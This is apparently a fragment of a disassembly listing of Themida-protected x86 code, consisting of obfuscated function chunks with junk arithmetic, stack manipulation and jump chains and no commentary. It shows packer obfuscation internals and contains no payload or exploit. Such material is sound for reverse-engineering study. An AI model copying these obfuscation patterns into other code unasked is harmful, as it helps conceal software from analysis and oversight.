		sub	edi, 4A95CDDh
		push	ebp
		mov	ebp, 6A4F5FEEh
		add	edi, ebp
		pop	ebp
		add	edi, ebx
		sub	edi, 6A4F5FEEh
		add	edi, 4A95CDDh
		mov	ebx, [esp-4+arg_0]
		jmp	sub_5917E1
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------


loc_59C01C:				; CODE XREF: Themida_:005A3122j
		sub	ebx, esi
		jmp	loc_59F1EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C023:				; CODE XREF: sub_59390B+332Fj
		add	esp, 4
		jmp	loc_5941A2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59C02B:				; CODE XREF: sub_5A0733-5AE8j
		push	0FFEEF596h
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		add	eax, 37261E88h
		sub	eax, ebp
		push	edi
		mov	edi, 6F571B4Fh
		shl	edi, 8
		add	edi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 3EA50B8Ch
		sub	edi, ecx
		pop	ecx
		push	eax
		jmp	loc_59C73E
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59C05B:				; CODE XREF: sub_59F8C2+61E2j
		sub	eax, 67FD7437h
		dec	eax
		xor	eax, 8C71AFB0h
		mov	ebx, eax
		jmp	loc_5A51BD
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C06D:				; CODE XREF: sub_59390B+8CCj
		pop	ebx
		sub	ebx, 2F5975A7h
		push	38E4h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 0FBFA76F4h
		jmp	loc_5930FB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59C086:				; CODE XREF: sub_594D13+9D03j
		not	ecx
		xor	ecx, 8CC6860Dh
		mov	edi, ecx
		pop	ecx
		xor	eax, edi
		jmp	loc_5969FF
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C098:				; CODE XREF: sub_59390B+CC58j
		push	edi
		mov	edi, 5BFF4A4Fh
		jmp	loc_599A73
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C0A3:				; CODE XREF: Themida_:0059C9E4j
		add	edi, 22F56F11h
		sub	edi, 0BBD5DF35h
		sub	eax, 39511111h
		add	eax, edi
		add	eax, 39511111h
		pop	edi
		push	ebx
		jmp	loc_59984D
; ---------------------------------------------------------------------------


loc_59C0C2:				; CODE XREF: Themida_:005A33B8j
		xor	edx, 63F32B38h
		jmp	loc_59EF77
; ---------------------------------------------------------------------------


loc_59C0CD:				; CODE XREF: Themida_:0059788Ej
		mov	ch, bh
		pop	ebx
		pop	eax
		sub	ch, 0FFh
		jmp	loc_59AE91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59C0D9:				; CODE XREF: sub_59FCCB+1678j
		pop	edx
		sub	al, bl
		pop	ebx
		push	ecx
		mov	ch, 77h
		add	ch, 0E8h
		add	bl, ch
		jmp	loc_59198E
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59C0EA:				; CODE XREF: sub_59A75E-3D7j
		pop	eax
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		sub	ax, 273Eh
		add	ax, 6C94h
		jmp	loc_59BDAC
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_59C102:				; CODE XREF: Themida_:005A33DAj
		add	edx, 4
		push	348Fh
		mov	[esp], edx
		jmp	loc_5A3AF1
; ---------------------------------------------------------------------------


loc_59C115:				; CODE XREF: Themida_:00591620j
		add	esp, 4
		shl	ebx, 5
		add	ebx, 0D8D633Eh
		jmp	loc_59B5A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_59C129:				; CODE XREF: sub_5A113A+240Cj
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		add	ebx, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_5A224C
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C144:				; CODE XREF: sub_59390B+DB89j
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_5930D1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C151:				; CODE XREF: Themida_:00599866j
		xor	ebx, 678C407Fh
		add	ebx, 0FEF6D822h
		sub	eax, ebx
		pop	ebx
		sub	eax, edx
		push	ebx
		mov	ebx, 382C02D7h
		jmp	loc_5A0ECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_59C16D:				; CODE XREF: sub_598762+B114j
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+18h+var_18]
		pop	esp
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		mov	ax, [esp-4+arg_0]
		sub	esp, 4
		jmp	loc_59F3BB
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59C191:				; CODE XREF: sub_5A0733+6j
		push	65FDh
		mov	[esp+8+var_8], eax
		push	7DD5724Dh
		jmp	loc_5A02E7
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_59C1A3:				; CODE XREF: Themida_:00596C11j
		sub	bl, 1
		jmp	loc_5A10D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C1AB:				; CODE XREF: sub_59390B+F80Cj
		mov	cx, word ptr [esp+14h+var_14]
		push	32Eh
		mov	[esp+18h+var_18], ebx
		jmp	loc_59B154
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C1BC:				; CODE XREF: Themida_:0059FF4Cj
		xor	edx, [esp]
		jmp	loc_5A0889
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C1C4:				; CODE XREF: sub_59390B+F198j
		pop	dx
		push	2EEEh
		mov	[esp+0], ebx
		push	769h
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp+0], eax
		mov	ah, 9Fh
		neg	ah
		push	edx
		mov	dl, 54h
		jmp	loc_5A240F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C1EB:				; CODE XREF: Themida_:0059119Cj
		mov	esi, 738F7BE1h
		shr	esi, 4
		push	eax
		jmp	loc_5A1A39
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		jmp	loc_597ECB
; ---------------------------------------------------------------------------


loc_59C20E:				; CODE XREF: Themida_:005A4C31j
		push	3078h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 1E71162Ch
		mov	ebx, 0B3A79C6h
		xor	ebx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59E602
; ---------------------------------------------------------------------------


loc_59C23A:				; CODE XREF: Themida_:0059F500j
		pop	ecx
		pop	eax
		add	edx, 2
		jmp	loc_59FF46
; ---------------------------------------------------------------------------


loc_59C244:				; CODE XREF: Themida_:0059AA74j
		pop	edx
		sub	esi, 27C023BFh
		jmp	loc_590E6A
; ---------------------------------------------------------------------------


loc_59C250:				; CODE XREF: Themida_:005A49F6j
		mov	eax, 919DFEBDh
		xor	ecx, eax
		pop	eax
		xor	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 0BD653E5h
		jmp	loc_599785
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_59C266:				; CODE XREF: sub_5A0D58+49EDj
		xor	edx, 38F740h
		jmp	loc_593A2A
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D8D


loc_59C271:				; CODE XREF: sub_5A2D8D-1118Fj
		sub	edi, 44AD59C5h
		add	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, 2
		push	eax
		mov	eax, 657321F9h
		add	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 19BF6875h
		dec	ebp
		inc	ebp
		sub	ebp, 0DB0E666Dh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_593FDD
; END OF FUNCTION CHUNK	FOR sub_5A2D8D
; ---------------------------------------------------------------------------


loc_59C2A4:				; CODE XREF: Themida_:00592C1Cj
		mov	dl, cl
		pop	ecx
		jmp	loc_59EB20
; ---------------------------------------------------------------------------


loc_59C2AC:				; CODE XREF: Themida_:005A58EEj
		add	esi, 0C33A8DBAh
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_59811C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C2BC:				; CODE XREF: sub_59390B+10258j
		push	1BBDh
		mov	[esp+0], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp+0]
		add	dword ptr [esp+0], 4
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_591269
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C2DB:				; CODE XREF: Themida_:00597552j
		xor	edx, 73356929h
		and	edx, 7ADA3497h
		xor	edx, 3B8F2428h
		jmp	loc_59FAF7
; ---------------------------------------------------------------------------


loc_59C2F2:				; CODE XREF: Themida_:0059DD4Dj
		sub	edx, ebx
		pop	ebx
		and	ebp, edx
		pop	edx
		sub	ebp, 0FFFFFFFFh
		push	esi
		jmp	loc_59979A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59C301:				; CODE XREF: sub_591FC5+65A2j
		xor	[esp+1], dh
		xor	dh, [esp+1]
		xor	[esp+1], dh
		mov	cx, [esp+0]
		jmp	loc_59E066
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_59C316:				; CODE XREF: sub_5A3F6E-489Bj
		mov	ebp, 192A18CFh
		or	ebp, 6D97C44h
		shl	ebp, 1
		jmp	loc_5A1B3A
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C328:				; CODE XREF: sub_59390B+3B2j
		shl	ebx, 1
		inc	ebx
		or	ebx, 10D373EEh
		shl	ebx, 1
		jmp	loc_59C396
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C338:				; CODE XREF: Themida_:005946FBj
		shl	esi, 4
		shl	esi, 6
		xor	esi, 0D6E22F5Eh
		jmp	loc_59A921
; ---------------------------------------------------------------------------


loc_59C349:				; CODE XREF: Themida_:005998E7j
		add	ecx, ebx
		pop	ebx
		sub	ecx, 66035E41h
		push	edi
		mov	edi, 56A3058Eh
		sub	ecx, edi
		pop	edi
		jmp	loc_59D9C1
; ---------------------------------------------------------------------------


loc_59C360:				; CODE XREF: Themida_:00598937j
		pop	esp
		jmp	loc_598C16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5999A4


loc_59C366:				; CODE XREF: sub_5999A4+3123j
		xchg	eax, ecx
		not	eax
		push	ebx
		mov	ebx, 6AEA2D89h
		shl	ebx, 8
		inc	ebx
		xor	ebx, 0CF49B217h
		add	eax, 59B87B62h
		sub	eax, ebx
		jmp	loc_597CA1
; END OF FUNCTION CHUNK	FOR sub_5999A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59667F


loc_59C385:				; CODE XREF: sub_59667F+A645j
		pop	ebx
		pop	edx
		jmp	sub_5995FC
; END OF FUNCTION CHUNK	FOR sub_59667F
; ---------------------------------------------------------------------------


loc_59C38C:				; CODE XREF: Themida_:0059C4BCj
		push	5158h
		jmp	loc_5A2AD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C396:				; CODE XREF: sub_59390B+8A28j
		sub	ebx, 0FEB5A8ADh
		jmp	loc_5921FE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C3A1:				; CODE XREF: Themida_:00599E05j
		mov	eax, esp
		jmp	loc_5A07D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59C3A8:				; CODE XREF: sub_591FE1+3B95j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_593852
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59C3B9:				; CODE XREF: sub_590AC5+A3C7j
		push	728Fh
		mov	[esp+0], ecx
		jmp	loc_5A57D3
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59C3C6:				; CODE XREF: Themida_:0059D58Cj
		or	ecx, 4E3670ADh
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		dec	ecx
		and	ecx, 76D51AA9h
		sub	ecx, 5A82B68Ch
		mov	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 10EC48D4h
		xor	edx, ebp
		jmp	loc_59E540
; ---------------------------------------------------------------------------


loc_59C3ED:				; CODE XREF: Themida_:00592636j
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A0484
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C403:				; CODE XREF: sub_59390B-1DDEj
		add	esp, 4
		mov	esi, [esp-10h+arg_8]
		jmp	loc_59EF3E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C40E:				; CODE XREF: Themida_:00592CD5j
		add	esi, 4
		jmp	loc_5A1600
; ---------------------------------------------------------------------------


loc_59C419:				; CODE XREF: Themida_:005A4F31j
		mov	cl, 62h
		inc	cl
		jmp	loc_592BFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C422:				; CODE XREF: sub_59390B-204Bj
		pop	edx
		sub	ebx, edi
		jmp	loc_59555C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594DA8


loc_59C42A:				; CODE XREF: sub_594DA8+D6F3j
		add	esp, 4
		jmp	loc_59D09B
; END OF FUNCTION CHUNK	FOR sub_594DA8
; ---------------------------------------------------------------------------


loc_59C435:				; CODE XREF: Themida_:005A560Ej
		add	ecx, ebx
		pop	ebx
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 3FB2h
		mov	[esp], cx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59C450:				; CODE XREF: sub_590AC5+13499j
		mov	edx, [esp+0]
		push	ebx
		sub	esp, 4
		push	esp
		jmp	loc_59AE89
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59C45D:				; CODE XREF: Themida_:005A1A99j
		xor	eax, ebx
		push	3ACh
		mov	[esp], ebp
		mov	ebp, 51966536h
		push	ebx
		mov	ebx, 1
		push	edx
		mov	edx, 25C17F89h
		jmp	loc_5A3829
; ---------------------------------------------------------------------------


loc_59C47D:				; CODE XREF: Themida_:005A1ABFj
		add	edx, edi
		pop	edi
		push	626Ch
		jmp	loc_59263B
; ---------------------------------------------------------------------------


loc_59C48A:				; CODE XREF: Themida_:0059377Fj
		xchg	bx, [esp]
		not	bx
		xchg	bx, [esp]
		mov	si, [esp]
		add	esp, 2
		sub	esp, 2
		jmp	loc_5A3E13
; ---------------------------------------------------------------------------


loc_59C4A4:				; DATA XREF: Themida_:005907F4o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59C4B3:				; CODE XREF: Themida_:0059B1D8j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59C38C
; ---------------------------------------------------------------------------


loc_59C4C1:				; CODE XREF: Themida_:005957D4j
		push	esi
		jmp	loc_59750D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C4C7:				; CODE XREF: sub_59390B+421Cj
		xchg	edx, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		push	edx
		mov	edx, 513D69B2h
		jmp	loc_59E32A
; ---------------------------------------------------------------------------


loc_59C4D8:				; CODE XREF: sub_59390B+F429j
		sub	ebx, 5DC346CCh
		push	[esp-0Ch+arg_4]
		jmp	loc_591225
; ---------------------------------------------------------------------------


loc_59C4E6:				; CODE XREF: sub_59390B+3474j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]


loc_59C4FE:				; CODE XREF: sub_59390B+5406j
		push	21C6h
		mov	[esp+4+var_4], ebx
		jmp	loc_5A0E09
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C50B:				; CODE XREF: Themida_:0059262Ej
		inc	edi
		push	7D40h
		mov	[esp], esi
		jmp	loc_598BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59C519:				; CODE XREF: sub_599AE1+7j
		shr	edi, 8
		jmp	loc_591F68
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C521:				; CODE XREF: sub_59390B+FA03j
		push	esi
		mov	esi, 4F9E4B45h
		sub	esi, 2FA66740h
		push	edi
		jmp	loc_598016
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C533:				; CODE XREF: Themida_:0059F847j
		add	esi, eax
		pop	eax
		add	esi, 86E4EDFh
		add	esi, ebp
		sub	esi, 86E4EDFh
		push	edi
		mov	edi, 0B371DEAh
		shl	edi, 1
		inc	edi
		jmp	loc_597CED
; ---------------------------------------------------------------------------


loc_59C552:				; CODE XREF: Themida_:005A5AFFj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_598B04
; ---------------------------------------------------------------------------


loc_59C55F:				; CODE XREF: Themida_:00596160j
		push	4
		jmp	loc_5A5231
; ---------------------------------------------------------------------------


loc_59C569:				; CODE XREF: Themida_:005A065Aj
		push	edi
		push	4DFA249Eh
		pop	edi
		dec	edi
		sub	edi, 0D621BC12h
		mov	eax, edi
		pop	edi
		inc	eax
		inc	eax
		jmp	loc_5A2C1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_59C581:				; CODE XREF: sub_59886E-17D1j
		shl	ebx, 5
		jmp	loc_5971AE
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_59C589:				; CODE XREF: sub_5A2FE9+Fj
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5A5163
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59C597:				; CODE XREF: sub_59A75E-6E63j
		mov	word ptr [esp+8+var_8],	si
		xor	word ptr [esp+8+var_8],	7CF7h
		pop	ax
		xor	ax, 7CF7h
		mov	bx, ax
		pop	eax
		jmp	loc_59A35F
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_59C5B0:				; CODE XREF: Themida_:00597B75j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5A034A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C5C4:				; CODE XREF: sub_59390B+D8F5j
		shl	edx, 2
		shl	edx, 8
		jmp	loc_5A338E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C5CF:				; CODE XREF: Themida_:0059130Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_596FBC
; ---------------------------------------------------------------------------


loc_59C5E0:				; CODE XREF: Themida_:00593769j
		add	ecx, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_595663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BDD3


loc_59C5F4:				; CODE XREF: sub_59BDD3-481Dj
		pop	eax
		add	ecx, edi
		pop	edi
		add	ecx, 3B842190h
		sub	ecx, 3F15BEEh
		add	ecx, esi
		jmp	loc_597BD4
; END OF FUNCTION CHUNK	FOR sub_59BDD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C60B:				; CODE XREF: sub_59390B-295Ej
		xor	esi, 11557D3Ch
		not	esi
		xor	esi, 8394A430h
		sub	ebp, esi
		pop	esi
		neg	ebp
		jmp	loc_59F829
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59C623	proc near		; DATA XREF: Themida_:00590A44o

; FUNCTION CHUNK AT 0059D81B SIZE 00000007 BYTES

		mov	ecx, [esp+0]
		push	edi
		jmp	loc_59D81B
sub_59C623	endp

; ---------------------------------------------------------------------------


loc_59C62C:				; CODE XREF: Themida_:0059848Ej
		pop	esi
		add	edx, eax
		jmp	loc_59BC62
; ---------------------------------------------------------------------------


loc_59C634:				; CODE XREF: Themida_:00594D90j
		mov	[esp], eax
		mov	ah, cl
		push	1C14h
		mov	[esp], edx
		mov	dh, ah
		mov	bl, dh
		pop	edx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_592091
; ---------------------------------------------------------------------------


loc_59C660:				; CODE XREF: Themida_:005A02A5j
		add	ebp, esi
		sub	ebp, 79705EDBh
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	95Ah
		mov	[esp], eax
		push	57D6h
		jmp	loc_5912FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C68A:				; CODE XREF: sub_59390B-E19j
		pop	[esp-14h+arg_C]
		mov	esp, [esp-18h+arg_10]
		inc	word ptr [esp-18h+arg_10]
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C69A:				; CODE XREF: Themida_:0059AEDFj
		mov	dl, ch
		not	dl
		mov	ch, dl
		pop	edx
		shl	ch, 2
		xor	ch, 0C9h
		jmp	loc_5997B1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	2BA7h
		jmp	loc_5A2359
; ---------------------------------------------------------------------------


loc_59C6D9:				; CODE XREF: Themida_:0059443Aj
		push	ecx
		push	68B840E3h
		pop	ecx
		add	ecx, 2E522F97h
		not	ecx
		xchg	ebx, ecx
		jmp	loc_59B203
; ---------------------------------------------------------------------------


loc_59C6EF:				; CODE XREF: Themida_:005A057Bj
		xor	cx, di
		xor	di, cx
		jmp	loc_594080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C6FA:				; CODE XREF: sub_59390B+3765j
		sub	eax, 45A51CD0h
		jmp	loc_5A0AE2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59C704:				; CODE XREF: sub_59A75E-7F63j
		push	eax
		mov	eax, 73F147Ch
		jmp	loc_5A24AA
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59C70F:				; CODE XREF: sub_59D1FC+2D02j
		sub	ebx, 0CC1279FBh
		add	esi, ebx
		pop	ebx
		jmp	loc_5A449A
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C71D:				; CODE XREF: sub_59390B+C1A3j
		add	ecx, 0FFFFFFFFh
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		push	edx
		push	eax
		mov	eax, 58EE7D88h
		mov	edx, eax
		jmp	loc_59DE23
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C734:				; CODE XREF: Themida_:0059B8BBj
		add	dl, 51h
		mov	bl, dl
		jmp	loc_595F8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59C73E:				; CODE XREF: sub_5A0733-46DDj
		mov	eax, 306012FEh
		and	edi, eax
		jmp	loc_5A0B4F
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_59C74A:				; CODE XREF: Themida_:00594B7Ej
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59CE98
; ---------------------------------------------------------------------------


loc_59C759:				; CODE XREF: Themida_:0059F178j
		shl	eax, 7
		and	eax, 6C5F39B6h
		jmp	loc_59BC7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59C766:				; CODE XREF: sub_591FC5+43E2j
		mov	bl, cl
		pop	ecx
		pop	eax
		sub	al, 0C6h
		add	al, 64h
		jmp	loc_596FF7
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C773:				; CODE XREF: sub_59390B+22E7j
		pop	ebx
		add	esi, 2
		xor	esi, [esp-0Ch+arg_4]
		xor	[esp-0Ch+arg_4], esi
		xor	esi, [esp-0Ch+arg_4]
		pop	esp
		ror	byte ptr [esp-10h+arg_8], cl
		pushf
		jmp	loc_59668D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_59C78D:				; CODE XREF: sub_594A8D+C3F3j
		and	ebx, 560B579Bh
		xor	ebx, 1EB3274Ch
		jmp	loc_5A3758
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_59C79E:				; CODE XREF: sub_5A17BF-1793j
		push	esi
		jmp	loc_5923AB
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 3CF84CBCh
		not	ebp
		and	ebp, 52087504h
		and	ebp, 4D6046B3h
		xor	ebp, 41D54733h
		jmp	loc_5A28B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59C7C9:				; CODE XREF: sub_59390B+A704j
		xchg	esi, [esp-0Ch+arg_4]
		jmp	loc_5A2E2B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59C7D1:				; CODE XREF: Themida_:00596D88j
		mov	[esp], esi
		push	15h
		jmp	loc_5A142A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59C7DE:				; CODE XREF: sub_594D13+10929j
		mov	ecx, 487144A7h
		or	eax, ecx
		pop	ecx
		sub	eax, 61B11073h
		add	eax, 1A5ADB2Eh
		sub	eax, 1
		not	eax
		jmp	loc_59145E
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_59C7FA:				; CODE XREF: sub_59886E+C665j
		mov	[esp+0], ebx
		push	eax
		mov	eax, 743B10ECh
		mov	ebx, 2F303254h
		xor	ebx, eax
		jmp	loc_59D16D
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59605F


loc_59C80F:				; CODE XREF: sub_59605F+D22Ej
		xor	edi, 13EF6BFAh
		add	eax, edi
		pop	edi
		jmp	loc_592D33
; END OF FUNCTION CHUNK	FOR sub_59605F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59897B


loc_59C81D:				; CODE XREF: sub_59897B+14j
		mov	eax, [esp+0]
		jmp	sub_595ED9
; END OF FUNCTION CHUNK	FOR sub_59897B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


